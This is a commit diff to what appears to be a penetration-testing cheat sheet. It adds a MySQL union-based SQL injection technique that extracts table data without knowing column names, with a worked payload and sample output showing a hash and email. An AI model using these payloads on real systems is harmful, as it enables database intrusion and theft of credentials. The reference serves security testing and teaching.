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MYSQL - Extract data without columns name

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Swissky 2019-02-17 21:51:21 +01:00
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SQL injection/MySQL Injection.md
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@ -30,6 +30,26 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_sc
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
### Extract data without information_schema
Extracting data from the 4th column without knowing its name.
```sql
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
```
Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`
````sql
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
```
## MYSQL Error Based - Basic
```sql
@ -161,4 +181,5 @@ load data infile '\\\\error\\abc' into table database.table_name;
## References
- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)